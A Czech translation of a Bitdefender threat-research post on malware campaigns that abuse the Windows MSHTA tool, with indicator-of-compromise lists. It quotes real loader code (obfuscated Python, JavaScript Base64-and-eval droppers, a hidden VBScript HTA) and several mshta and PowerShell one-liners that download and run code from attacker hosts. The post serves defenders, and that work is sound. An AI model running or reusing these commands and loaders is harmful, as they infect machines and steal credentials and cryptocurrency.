← Zpět na blog

Hrozby a ransomware

Starý nástroj MSHTA stále pomáhá šířit malware ve Windows

Autor originálu: Janos Gergo Szeles

Schéma využívání systémových nástrojů Windows při doručování malwaru
Úvodní obrázek z původního článku na blogu Bitdefenderu ↗.

MSHTA se objevuje u LummaStealeru, CountLoaderu, Emmenhtalu i PurpleFox. Podrobný rozbor ukazuje, jak útoky využívají důvěryhodné systémové procesy.

Výzkumníci Bitdefenderu zjistili, že útočníci stále zneužívají Microsoft HTML Application Host, MSHTA. Tento starší nástroj je ve Windows standardně dostupný a umí spouštět VBScript a JavaScript z místních i vzdálených souborů.

Kyberzločinci používají legitimní starší nástroje k šíření běžných zlodějů hesel i pokročilých hrozeb. Dřívější šetření Bitdefenderu ukázalo podobné taktiky zneužití vestavěných prostředků Windows a macOS v kampani s falešnými reklamami Google na Claude Code.

ClickFix, při němž je uživatel přiměn ke spuštění údajného opravného příkazu, se objevil také u LummaStealeru, CastleLoaderu a infekcí lidí stahujících pirátskou verzi filmu Leonarda DiCapria One Battle After Another.

Hlavní zjištění

  • Starší MSHTA zůstává široce zneužívaným legitimním systémovým nástrojem, označovaným LOLBIN.
  • Útočníci jej používají pro běžný zlodějský malware i pokročilé hrozby.
  • Kampaně často spoléhají na vícestupňové bezsouborové řetězce s PowerShellem a HTA skripty.
  • Zásadní roli hraje sociální inženýrství: falešné stažení softwaru a návnady ClickFix.
  • Obrana vyžaduje informovanost uživatelů i několik technických vrstev.

Microsoft ve druhé polovině roku 2024 oznámil ukončování VBScriptu. Je dostupný jako standardně povolená volitelná funkce Feature On Demand. Od roku 2027 má být ve výchozím stavu vypnutý a Microsoft plánuje jeho úplné odstranění z Windows.

Analýza se věnuje pokračujícímu zneužívání MSHTA, dalšího staršího nástroje stále dostupného ve Windows pro spouštění VBScriptu a JavaScriptu lokálně i vzdáleně.

V posledních měsících vzrostly detekce mshta.exe v řetězcích spuštění. Nástroj je tak relevantním LOLBINem i po ukončení samostatného Internet Exploreru.

Analyzovaná aktivita zahrnuje několik kategorií malwaru.

MSHTA se hojně používá při doručení běžných zlodějů LummaStealer a Amatera i zavaděčů CountLoader a Emmenhtal Loader.

Objevuje se však také u pokročilejších dlouhodobých kampaní ClipBanker a PurpleFox. Nejde tedy o jedinou rodinu ani model průniku. Nástroj slouží k příležitostnému doručení i dlouhodobé kompromitaci.

Výzkum navíc odhalil nové vzorce domén zavaděče CountLoader založeného na HTA.

Úvod

Podpora Internet Exploreru skončila 15. června 2022. Edge však kvůli zpětné kompatibilitě obsahuje režim IE s přislíbenou podporou alespoň do roku 2029.

To ukazuje širší problém: po vyřazení produktu mohou části jeho ekosystému zůstávat ve Windows roky kvůli starším procesům a podnikové kompatibilitě.

Útočníci často zneužívají důvěryhodné předinstalované binární soubory Windows ke spuštění škodlivého obsahu.

Tyto LOLBINy snižují potřebu vlastních nástrojů, splývají s běžnou systémovou aktivitou a ztěžují odlišení útoku od legitimní správy.

mshta.exe původně souvisel s Internet Explorerem a spouští HTML Applications, HTA, pomocí jeho vykreslovacího jádra.

HTA může obsahovat JavaScript a VBScript a spouštět je v důvěryhodném podepsaném procesu. I zdánlivě zastaralá komponenta tak poskytuje cestu modernímu malwaru.

V době vydání článku nebyly veřejné informace o plánovaném odstranění MSHTA. Dokud zůstává standardně dostupný, představuje zbytkový administrační nástroj i část útočné plochy.

Legitimní využití

Přes modernější alternativy někteří správci a vývojáři používají MSHTA pro upozornění na aktualizace nebo jednoduché webové aplikace bez otevření prohlížeče.

Přibližně 10 % telemetrie MSHTA tvoří jednoduché jednořádkové skripty upozorňující na úlohy správy pomocí javascript:alert() nebo vbscript:msgbox().

Menší část tvoří zdánlivě legitimní přihlašovací skripty, které vytvoří WScript.Shell a spustí místní soubor.

Nástroj tedy z reálného prostředí zcela nezmizel.

Tyto případy však ubývají a pro automatizaci správy existují modernější legitimní možnosti.

Bitdefender obecně doporučuje tam, kde je to možné, přejít v administračních procesech od MSHTA k jinému řešení.

MSHTA jako LOLBIN

Podepsané a známé systémové nástroje bývají v podnicích implicitně důvěryhodné. Útočníkům umožňují spouštět kód, získávat vzdálené komponenty a rozvíjet průnik bez zjevně škodlivých programů.

MSHTA tento model splňuje: je standardně přítomný, spouští skripty v paměti a načítá vzdálený obsah. Zavaděče tak omezují stopy na disku a zneužívají proces podepsaný Microsoftem.

Od začátku roku přibylo související aktivity. Protože legitimní použití ustupuje, trend pravděpodobně odráží více škodlivé činnosti, nikoli novou oblibu při správě.

Další části ukazují nejvýraznější kampaně a přizpůsobování útoků pro masové doručení běžného malwaru.

Kampaně využívající MSHTA

Zjištění zahrnují zloděje LummaStealer a Amatera, vícestupňové CountLoader a Emmenhtal Loader, bankovní ClipBanker i trvalejší PurpleFox.

Role je podobná: vestavěný podepsaný nástroj získá a vykoná vzdálený skript v počáteční nebo prostřední fázi infekce.

Někdy spouští HTA z infrastruktury útočníka přímo, jindy je součástí phishingu, falešných instalátorů, ClickFix nebo skriptovaných stahovačů.

Nejčastěji se objevoval u zlodějů a zavaděčů. Ti získávají první přístup, kradou hesla, data prohlížečů a relace a doručují další kód pro hlubší kompromitaci.

Zdánlivě nevinné spuštění starého systémového nástroje tak může rychle skončit krádeží účtu, finančním podvodem, ztrátou dat nebo širší infekcí.

MSHTA je lehký mechanismus pro přípravu a spuštění: získává obfuskované HTA, spouští skripty v paměti a předává běh PowerShellu, WScriptu, msiexec nebo konečné komponentě.

LummaStealer a Amatera přes CountLoader

Výraznou skupinu tvořil CountLoader, HTA zavaděč doručující zejména LummaStealer a Amatera.

Ty kradou hesla, data prohlížeče, relační tokeny a kryptoměnové údaje. MSHTA načítá a spouští další vzdálenou HTA fázi.

Velká většina detekcí mshta.exe obsahuje v příkazovém řádku domény napodobující legitimní služby na TLD .cc, například google-services[.]cc a memory-scanner[.]cc.

Kampaň sílila koncem roku 2025, vrcholila koncem ledna 2026 a poté pozvolna slábla s přesunem útočníků na jiné hostingové platformy.

VirusTotal domény často označuje jako infrastrukturu LummaStealeru, protože je častým konečným kódem a domény se objevují v jeho konfiguracích.

Zavaděč je však zřejmě samostatný a odpovídá zprávám o CountLoaderu. Stejný řetězec doručoval také Amatera.

Návnady připomínají CastleLoader.

Zprávy, sociální příspěvky a zmanipulované výsledky vyhledávání slibují bezplatný nebo cracknutý software. Heslo archivu bývá v názvu nebo přiloženém dokumentu.

Oběť spustí Setup.exe, který je ve skutečnosti legitimním interpretem Pythonu. Vedle něj jsou pravé knihovny python3<X>.dll automaticky načítané interpretem.

Při inicializaci ale použijí místní Lib pro hledání modulů. Ve zkoumaném vzorku byl škodlivý Python v .\Lib\encodings\aliases.py a spouštěl se přes odpovídající __init__.py.

Ve stejné složce je přejmenovaný MSHTA iso2022.exe. aliases.py jej spustí pro kontakt s C2 a získání HTA zavaděče.

Python definuje jednotlivé znaky jako globální proměnné, skládá je formátovanými řetězci do URL a výsledný příkaz vykoná přes os.system(cmd).

### Regions
global_region = f'{ctype}d Lib{typeB}encodings'
local_format = f'{ptype}{typeE}org{typeA}wp{typeD}{atype}{typeA}{gtype}{typeA}stats{typeE}{ltype}'
en_UK = f'{htype}{ttype}{ttype}p{stype}{typeC}{typeB}{typeB}'
en_US = f'{typeE}{ctype}{ctype}'
en_ES = f'iso2022{typeE}e{xtype}e'
### Protection
mem_protect = f'{global_region} {typeH}{typeH} {en_ES} {en_UK}{local_format}'
ram_protect = f'alpha{typeD}centavr{typeE}{ctype}{ctype}'
rem_protect = f'{ctype}{mtype}d {typeA}{ctype} {stype}{ttype}ar{ttype} {typeA}b \"\" {ctype}{mtype}d {typeA}{ctype} '
### Probes
positive_probe = f'{mem_protect} {typeH} {en_ES} {en_UK}{ram_protect}'
negative_probe = f'{rem_protect}'
cmd = f'{positive_probe}'
os.system(cmd)

Výsledný příkazový řádek:

cd Lib\encodings && iso2022.exe https:\\planetitude[.]org/wp-admin/chellenge/stats.location & iso2022[.]exe https:\\alpha-centavr[.]cc

HTA dekóduje další komponentu z pole znakových kódů a spustí ji. Názvy proměnných zřejmě vznikají ze slovníku technických pojmů a mezi soubory se liší.

Od konce února 2026 se objevilo nové hostování domén CountLoaderu. Názvy dál napodobují legitimní služby, ale infrastruktura přešla na TLD .vg a .gl.

Příklady jsou explorer[.]vg, ccleaner[.]gl a microservice[.]gl. Skripty mají stejnou obfuskaci jako dřívější infrastruktura .cc.

Emmenhtal Loader

Další výrazný řetězec používá vícestupňový Emmenhtal pro běžný malware včetně LummaStealeru. MSHTA v rané fázi stáhne a spustí vzdálené HTA, po němž následuje několik skriptových vrstev.

Začíná phishingem na Discordu s odkazem na stránku, která přepíše schránku a pod záminkou ověření člověka přesvědčí uživatele spustit škodlivý příkaz.

Napodobuje reCAPTCHA, ale běží například na humancheck[.]shop/pass-this-step-to-continue[.]html. Při otevření JavaScript zkopíruje příkaz do schránky.

Uživatel má stisknout Win + R, pak Ctrl + V a Enter. Explorer.exe tak zdánlivě legitimně spustí mshta.exe například s následujícím příkazem:

mshta[.]exe hxxps[://]buck2nd[.]oss-eu-central-1[.]aliyuncs[.]com/dir/sixth/singl6[.]mp4 #  ✅ ''I am not a robot - reCAPTCHA Verification ID: 2165

Poskytovatelé hostingu tyto weby často rychle odstraní. Některé serverové odpovědi však zůstávají na VirusTotal a lze je analyzovat.

Soubor na serveru je platné HTA záměrně nafouknuté množstvím ignorovaných dat. Mezi nimi jsou platné HTML bloky se škodlivým skriptem. Na disk se nezapisuje, mshta.exe jej vykonává přímo v paměti.

HTML je roztroušeno mezi nepoužitelnými daty. Nejprve nastaví okno na 1 × 1 pixel, minimalizuje jej a skryje z hlavního panelu.

Tělo HTML pak vyvolá vstupní bod skriptu.

Skript obsahuje malý javaskriptový zavaděč, dekodér Base64 a velký zakódovaný řetězec. Hlavní funkce jej dekóduje a spustí.

<script>
function HbQIdLwSSIRvbVXZWLOwjRQqttuGTqKP(b64) {
    var VonICsfLpEqDZndPtRRVmRdurFjpCMUv="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var pad=0;
    if(b64.length>=2 && b64.substr(b64.length-2)==="=="){pad=2;b64=b64.substr(0,b64.length-2);}
    else if(b64.length>=1 && b64.substr(b64.length-1)==="="){pad=1;b64=b64.substr(0,b64.length-1);}
    var out=[];
    var i=0;
    while(i<b64.length){
        var e1=VonICsfLpEqDZndPtRRVmRdurFjpCMUv.indexOf(b64.charAt(i++));
        var e2=VonICsfLpEqDZndPtRRVmRdurFjpCMUv.indexOf(b64.charAt(i++));
        var e3=VonICsfLpEqDZndPtRRVmRdurFjpCMUv.indexOf(b64.charAt(i++));
        var e4=VonICsfLpEqDZndPtRRVmRdurFjpCMUv.indexOf(b64.charAt(i++));
        var c1=(e1<<2)|(e2>>4);
        var c2=((e2&15)<<4)|(e3>>2);
        var c3=((e3&3)<<6)|e4;
        out.push(c1&0xFF);
        if(e3!==64&&e3!==-1) out.push(c2&0xFF);
        if(e4!==64&&e4!==-1) out.push(c3&0xFF);
    }
    if(pad>0) out.splice(out.length-pad,pad);
    var rECeQYjgakLNnbZcTJmkoefcDPJScPAz="";
    for(var x=0;x<out.length;x++){
        rECeQYjgakLNnbZcTJmkoefcDPJScPAz+=String.fromCharCode(out[x]);
    }
    return rECeQYjgakLNnbZcTJmkoefcDPJScPAz;
}
var rDiPjSLADFoHqVucyLWWZenMlZdunYAi = <B64_script_redacted_for_size>;
function ZGnRfrBcHrSGXLgAhCCMsyQTuwRQHDQT() {
    var cxabulitGWnsgaALcqJZHzjkKyjdyyyo = HbQIdLwSSIRvbVXZWLOwjRQqttuGTqKP(rDiPjSLADFoHqVucyLWWZenMlZdunYAi);
    eval(cxabulitGWnsgaALcqJZHzjkKyjdyyyo);
}
</script>

Dekódovaný výsledek je zavaděč druhé fáze se stejnou funkcí Base64 a dvěma dešifrovacími funkcemi. Zdánlivá velikost je zavádějící: stovky řádků tvoří malé pomocné funkce, které se nikdy nevolají.

Účelem je dešifrovat globální řetězec, vytvořit WScript.Shell a v novém prostředí spustit další skript, stále v řetězci zahájeném mshta.exe.

var cDhmBQsxdNEUHhzpdeyyybZMzVNANXtp = <redacted_encrypted_payload>
var LevylKBNaEDCESWQQeQznakYNfOEICxk = <redacted_decryption_key>
var VFjTZSncvgnebyEyMwfLTieiopsaYfQZ = <redacted_b64_string>
function initMain() {
    var stg1 = from_base64(VFjTZSncvgnebyEyMwfLTieiopsaYfQZ);
    var stg2 = VQGTmVqlpKoSesHrvqRZECwHNdrdrDRX(stg1, LevylKBNaEDCESWQQeQznakYNfOEICxk);
    var EYgUwBZqUyrgJIRdiVDwqyUHlgusmKOr = xor_decrypt(stg2, cDhmBQsxdNEUHhzpdeyyybZMzVNANXtp);
    var decoded_payload_script = "";
    for(var i=0; i<EYgUwBZqUyrgJIRdiVDwqyUHlgusmKOr.length; i++) {
        decoded_payload_script += String.fromCharCode(EYgUwBZqUyrgJIRdiVDwqyUHlgusmKOr[i]);
    }
    try {
        var sh = spawn_wscript_shell();
        sh.Run(decoded_payload_script, 0, false);
    } catch(e) {}
    window.close();
}
initMain();

Výsledkem je jednořádkový příkaz, který stáhne vzdálený PowerShell a spustí jej v paměti bez uložení na disk.

Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell[.]exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System[.]Net[.]WebClient).DownloadString('hxxps[://]klipdiheqoe[.]shop/ruwkl[.]png'))`"" -WindowStyle Hidden

Stažený PowerShell je silně obfuskovaný a ruční rozbor téměř nemožný. Logování bloků skriptu a další nástroje ale umožní rekonstruovat konečnou spuštěnou vrstvu.

Konečná deobfuskovaná podoba PowerShellu má dvě části. Nejprve obchází AMSI úpravou clr.dll, možná podle veřejného repozitáře GitHub. Následuje velký řetězec Base64 a tři řádky, které jej dekódují a načtou bajtové pole jako assembly.

$bytes = [System.Convert]::FromBase64String($a);
[Reflection.Assembly]$assembly = [System.AppDomain]::CurrentDomain.Load($bytes) # Load Assembly
$assembly.EntryPoint.Invoke($null, @())

Zavaděč obvykle spouští běžný malware. Ve zkoumaném případě šlo o známou assembly LummaStealeru s hashem 1E0E375F3EE82D5AF5DFE6F7DF0E2FAC9A7D37C67ADD3390D05A93AFD85B7C84 obsahující související C2 domény.

ClipBanker

Další skupinou je ClipBanker, který krade kryptoměny výměnou adres peněženek ve schránce. MSHTA nejprve spustí vzdálené HTA a rychle přejde k PowerShellu pro přetrvání a doručení kódu.

HTA z hxxps[://]asd[.]s7610rir[.]pw/win/checking[.]hta skryje okno na záporných souřadnicích, vytvoří Wscript Shell a spustí příkaz PowerShellu zakódovaný Base64.

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
        Window.ReSizeTo 0, 0
        Window.moveTo -2000,-2000
        Function var_func()
                Dim var_shell
                Set var_shell = CreateObject("Wscript.Shell")
                var_shell.run "cmd /c powershell.exe -w 1 -NoProfile -InputFormat None -ExecutionPolicy Bypass -e <redacted_b64_command>, 0, true
        End Function
        var_func
</script>
<body>
</body>
</HEAD>
</HTML>

Příkaz stahuje druhou fázi checking.ps1 z hxxp[://]185[.]208[.]159[.]199, hash 333E2192F2551415659FB4094E81B911708921BB588EECF65E27F51C9938DFC2.

Skript nastaví výjimky Windows Defenderu a přetrvání spouštějící stahovač ClipBanker z hxxp[://]87[.]96[.]21[.]84/ichigo-lite[.]ps1, hash 38FE562136ADE372FC4CEDDE67826AEEA8404E93A54A4A4736DDB4C8C8D4C96D.

Naplánované úlohy mají legitimně znějící názvy, například Optimize Start Menu Cache Files-S-3-5-21-2236678155-433529325-1142214968-1237.

Nakonec se spustí úklid z hxxp[://]87[.]96[.]21[.]84/del[.]ps1, hash 7D0487AFC91B0FE8B2FBF732AB54C3C07E86BF69471BBA6C283AABEA190499BA.

Odstraňuje použité soubory a ukončuje procesy možné dynamické analýzy, například Procmon a Autoruns.

PurpleFox: MSHTA používají i pokročilé hrozby

MSHTA není omezen na běžné zloděje a zavaděče. Objevuje se i v řetězcích pokročilejšího a dlouhodobě aktivního PurpleFox.

Hodí se tedy i pro operace zaměřené na utajení, přetrvání a dlouhodobou kontrolu.

Od roku 2018 PurpleFox rozšiřuje své schopnosti a zůstává aktivní v roce 2026. Stabilní metodou je spuštění msiexec přes MSHTA pro stažení a vykonání balíčku MSI maskovaného jako .png.

Příkazové řádky prozrazuje seznam kontaktovaných IP a soubor .png vykonaný pomocí msiexec:

mshta.exe vbscript:createobject("wscript.shell").run("Cmd /c for /d %i in (195[.]189[.]28[.]244:17807 103[.]124[.]106[.]194:18413 58[.]221[.]59[.]20:17256 ) do Msiexec /i http://%i/3EBCE3A4.Png /Q",0)(window.close)

Po instalaci PurpleFox funguje jako zadní vrátka s rootkitem. Hlavním cílem je skrytí, přetrvání a vykonávání příkazů C2 podle potřeby.

Tyto schopnosti umožňují krádež dat, sledování i narušující aktivity včetně DDoS.

MSHTA a PowerShell jako mezikrok útoku

Telemetrie ukazuje menší skupiny, v nichž MSHTA vytvoří WScript shell a spustí PowerShell se zavaděčem další fáze.

Každá kampaň používá vlastní obfuskaci ke skrytí slov vyvolávajících upozornění EDR a SIEM.

První skupina používá URL připomínající obrázky, ale obsahující PowerShell spouštěný v paměti. IP typicky používá XWorm nebo Danabot. Klíčová slova PowerShellu jsou rozdělena na více částí.

mshta.exe" vbscript:close(CreateObject("WScript.Shell").Run("powershell $L='(New-Object Net.We';$Y='bClient).Downlo';$V='adString(''http://92[.]255[.]57[.]155/b.jpg'')';$F=I`E`X ($L,$Y,$V -Join '')|I`E`X",0))

Varianta příkazu XWorm přidává zbytečné znaky, které následně odstraní String.Replace:

mshta.exe" vbscript:close(CreateObject("WScript.Shell").Run("powershell IEX(('#!!i!Qw#Q!r #8###5#.!!!2###0!!8#.8###4!!.2!!!0###8!/#x!!!.j###pg# |#i!!e!!!!x#').RePlACE('Q','').REplAcE('!','').rEpLAce('#',''))",0))

Další skupina používá zloděje Lalala. PHP vrátí skript pouze při předání předem stanoveného hesla v POST. Ostatní klíčová slova PowerShellu zůstávají nezakrytá.

mshta.EXE" vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell Invoke-Expression -Command:(iwr -uri 185[.]156[.]172[.]22/gate990.php -method post -body gieM3iR5).content"", 0 : window.close")

Další skupina spouští skripty stažené dříve. Je nápadnější, protože umožňuje kontrolu souboru skriptu na malware.

mshta.EXE" vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ep bypass -File """"C:\Users\U_f8d33485bec26b2b1969f910c131f027\AppData\Roaming\Adobe\peyneKzk2.ps1 """""" ,0:close")

Poslední významná skupina má URL zakódovanou v místních proměnných. Jediný řádek ji dekóduje a stažený kód spustí v paměti.

mshta.exe" vbscript:close(CreateObject("WScript.Shell").Run("powershell $Z='aXdyIGh0dHBzOi8vMHg0NC5pbmZvL2F8aWV4';$B=[System.Convert]::FromBase64String($Z);$D=[System.Text.Encoding]::UTF8.GetString($B);iex $D",0))

DriverPack: příklad legitimního použití. Ne každé pozorované spuštění MSHTA bylo zjevně škodlivé. Významná část detekcí patřila aktualizacím DriverPacku, staršího balíku stahujícího ovladače ze zdrojů třetích stran místo oficiálních kanálů Microsoftu.

DriverPack sám o sobě není nevyhnutelně škodlivý, ale mnozí výrobci ochrany některé komponenty řadí mezi potenciálně nežádoucí aplikace, PUA.

V analyzovaných případech naplánovaná úloha spouštěla mshta.exe a HTA v paměti kontrolovalo aktualizaci nebo instalaci nejnovější verze.

Účel údržby se zdá legitimní, metoda je však neobvyklá a překrývá se s malwarovými technikami.

Samotné použití MSHTA tedy neznamená malware. Stahovat a spouštět vzdálený obsah tímto způsobem při aktualizaci však není doporučený návrh, zvlášť při dostupnosti modernějších a průhlednějších možností.

Doporučení pro uživatele a organizace

Obrana má dvě základní části: znalosti a chování uživatelů a technická bezpečnostní opatření.

Mnoho popsaných řetězců vyžaduje zásah člověka. Někdo stáhne software či média z nedůvěryhodné stránky slibující obsah zdarma nebo crack. Jiný pod vlivem sociálního inženýrství dobrovolně vykoná příkaz ze schránky. Vzdělávání proto zůstává důležitou obranou.

Uživatelé mají znát tyto taktiky a pravidelně si připomínat rizika neznámých souborů, podezřelých instrukcí a příkazů, kterým plně nerozumějí.

Stejně důležitá je technická ochrana. Útok obvykle netvoří jeden soubor, ale skripty, příkazové řádky, paměťové fáze a další stažený kód. Ochrana proto musí pokrýt více míst od omezení útočné plochy přes kontrolu před spuštěním až po blokování chování za běhu.

Bitdefender pro detekci používá různé technologie integrované do svých bezpečnostních řešení jako součást vícevrstvé obrany.

Dokud Microsoft starší skriptovací nástroje dostupné standardně ve Windows neodstraní, lze riziko snižovat komplexním řešením, například Bitdefender Ultimate Security.

Bitdefender Threat Intelligence Solutions navíc organizacím poskytuje aktuální informace o škodlivých souborech, URL, doménách a IP. Přes datové kanály, API a portál IntelliZone podporuje bezpečnostní týmy i výrobce ochrany použitelnými daty, souvislostmi a automatickými integracemi pro rychlejší detekci, vyšetřování a reakci.

Tam, kde už nejsou pro legitimní práci potřeba, mají být wscript.exe a mshta.exe omezeny nebo blokovány. Staré skripty je vhodné převádět na modernější a udržovatelné alternativy.

Indikátory kompromitace

Emmenhtal Loader
IndikátorTypPopis
AA845A8FB4AB38AEBE6A16A2A8F80CA4467AC0991D3EEF4D8A10BDF97DEDB1E9SHA256Počáteční HTA po ClickFix
02630FA994B1566AD1515FD87220FC037B967F07495985A3637D68D7E08C57EESHA256Obfuskovaný PowerShell
1E0E375F3EE82D5AF5DFE6F7DF0E2FAC9A7D37C67ADD3390D05A93AFD85B7C84SHA256Komponenta LummaStealer
hxxp[://]185[.]147[.]124[.]40/Capcha[.]htmlURLAdresa Emmenhtalu
hxxp[://]92[.]255[.]57[.]155/Capcha[.]htmlURLAdresa Emmenhtalu
hxxps[://]denek[.]local-wanderer[.]shop/RIWZ[.]mp4URLAdresa Emmenhtalu
hxxps[://]buck2nd[.]oss-eu-central-1[.]aliyuncs[.]com/dir/sixth/singl6[.]mp4URLAdresa Emmenhtalu
hxxps[://]macphotoeditor[.]shop/singl5[.]mp4URLAdresa Emmenhtalu
hxxps[://]topofsuper[.]shop/re5[.]mp4URLAdresa Emmenhtalu
hxxps[://]antibot-check[.]icu/Capcha[.]htmlURLAdresa Emmenhtalu
hxxps[://]checkpageonce[.]com/singl6[.]mp4URLAdresa Emmenhtalu
hxxps[://]echoicedeals[.]shop/s6[.]mp3URLAdresa Emmenhtalu
hxxps[://]kizmond[.]shop/riiw1[.]mp4URLAdresa Emmenhtalu
hxxps[://]klipjaqemiu[.]shop/web44[.]mp4URLAdresa Emmenhtalu
hxxps[://]macphotoeditor[.]shop/singl6[.]mp4URLAdresa Emmenhtalu
hxxps[://]onceletthemcheck[.]com/singl5[.]mp4URLAdresa Emmenhtalu
hxxps[://]pawpaws[.]readit-carfanatics[.]com/madonna[.]mp4URLAdresa Emmenhtalu
hxxps[://]propofgustestyle[.]info/recaptcha-verify[.]htmlURLAdresa Emmenhtalu
hxxps[://]recaptcha-process[.]com/recaptcha-verify[.]htmlURLAdresa Emmenhtalu
hxxps[://]retrosome[.]shop/ru2-2[.]emlURLAdresa Emmenhtalu
hxxps[://]savecoupons[.]store/s7[.]mp4URLAdresa Emmenhtalu
hxxps[://]solve[.]gevaq[.]com/awjxs[.]captcha?u=a1bdaa0d-6aab-4d96-bafe-483ef5eb8caeURLAdresa Emmenhtalu
hxxps[://]solve[.]jenj[.]org/awjxs[.]captcha?u=8508de42-23ab-4b24-aa95-eda5feae86e8URLAdresa Emmenhtalu
hxxps[://]thepremiumstuffs[.]shop/s5[.]mp4URLAdresa Emmenhtalu
hxxps[://]triptrip[.]melody-wave[.]shop/re2[.]mp4URLAdresa Emmenhtalu
hxxps[://]check[.]qlkwr[.]com/awjsx[.]captcha?u=03cb013e-aa4a-439e-86af-c3319c7b5dc0URLAdresa Emmenhtalu
hxxps[://]driftcharm[.]shop/S6[.]mp4URLAdresa Emmenhtalu
hxxps[://]etrademart[.]shop/s6[.]mp3URLAdresa Emmenhtalu
hxxps[://]scrutinycheck[.]cash/singl5[.]mp4URLAdresa Emmenhtalu
hxxps[://]simplerwebs[.]space/anrek[.]mp4URLAdresa Emmenhtalu
hxxps[://]simplerwebs[.]world/mine[.]jsonURLAdresa Emmenhtalu
CountLoader / LummaStealer — domény
IndikátorTypPopis
memory-scanner[.]ccDoménaInfrastruktura CountLoader / LummaStealer
fileless-market[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell1-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
holiday-forever[.]ccDoménaInfrastruktura CountLoader / LummaStealer
system-monitor[.]ccDoménaInfrastruktura CountLoader / LummaStealer
forest-entity[.]ccDoménaInfrastruktura CountLoader / LummaStealer
indeanapolice[.]ccDoménaInfrastruktura CountLoader / LummaStealer
files-storage[.]ccDoménaInfrastruktura CountLoader / LummaStealer
some-othertag[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s3-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s3-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
microservice-update-s2-bucket[.]ccDoménaInfrastruktura CountLoader / LummaStealer
parent-control[.]ccDoménaInfrastruktura CountLoader / LummaStealer
alphazero1-endscape[.]ccDoménaInfrastruktura CountLoader / LummaStealer
microservice-update-s1-bucket[.]ccDoménaInfrastruktura CountLoader / LummaStealer
globalsnn2-new[.]ccDoménaInfrastruktura CountLoader / LummaStealer
polystore9-servicebucket[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hardware-office[.]ccDoménaInfrastruktura CountLoader / LummaStealer
immortal-service[.]ccDoménaInfrastruktura CountLoader / LummaStealer
globalsnn1-new[.]ccDoménaInfrastruktura CountLoader / LummaStealer
acio-patron[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell10-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
globalsnn3-new[.]ccDoménaInfrastruktura CountLoader / LummaStealer
alpha-centavr[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell3-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell4-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell5-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell6-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell7-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell8-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell9-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
azure-s3-bucket[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hosting-control[.]ccDoménaInfrastruktura CountLoader / LummaStealer
communicationfirewall-security[.]ccDoménaInfrastruktura CountLoader / LummaStealer
hell2-kitty[.]ccDoménaInfrastruktura CountLoader / LummaStealer
domain-monitoring[.]ccDoménaInfrastruktura CountLoader / LummaStealer
network-defender[.]ccDoménaInfrastruktura CountLoader / LummaStealer
critical-service[.]ccDoménaInfrastruktura CountLoader / LummaStealer
google-services[.]ccDoménaInfrastruktura CountLoader / LummaStealer
offshore-storage[.]ccDoménaInfrastruktura CountLoader / LummaStealer
urugvai[.]ccDoménaInfrastruktura CountLoader / LummaStealer
web3-walletnotify[.]ccDoménaInfrastruktura CountLoader / LummaStealer
debank-api[.]ccDoménaInfrastruktura CountLoader / LummaStealer
py-installer[.]ccDoménaInfrastruktura CountLoader / LummaStealer
memory-protection-layer1[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s10-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
sentinel1-endpoint-security[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s4-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s5-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s6-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s7-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s8-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s9-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s1-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
s2-microservice-updatehub[.]ccDoménaInfrastruktura CountLoader / LummaStealer
ms-team-ping6[.]comDoménaInfrastruktura CountLoader / LummaStealer
holiday-updateservice[.]comDoménaInfrastruktura CountLoader / LummaStealer
health-smooth-eu3[.]comDoménaInfrastruktura CountLoader / LummaStealer
health-smooth-eu2[.]comDoménaInfrastruktura CountLoader / LummaStealer
fileless-storage-s3[.]ccDoménaInfrastruktura CountLoader / LummaStealer
bigbrainsholdings[.]comDoménaInfrastruktura CountLoader / LummaStealer
my-smart-house1[.]comDoménaInfrastruktura CountLoader / LummaStealer
explorer[.]vgDoménaNová infrastruktura CountLoader
ccleaner[.]glDoménaNová infrastruktura CountLoader
microservice[.]glDoménaNová infrastruktura CountLoader
geo-foundation[.]vgDoménaNová infrastruktura CountLoader
deluxe[.]glDoménaNová infrastruktura CountLoader
silverhost[.]vgDoménaNová infrastruktura CountLoader
msgrouppolicy[.]vgDoménaNová infrastruktura CountLoader
holypriest[.]glDoménaNová infrastruktura CountLoader
msedge[.]vgDoménaNová infrastruktura CountLoader
ClipBanker
IndikátorTypPopis
333E2192F2551415659FB4094E81B911708921BB588EECF65E27F51C9938DFC2SHA256checking.ps1
38FE562136ADE372FC4CEDDE67826AEEA8404E93A54A4A4736DDB4C8C8D4C96DSHA256ichigo-lite.ps1
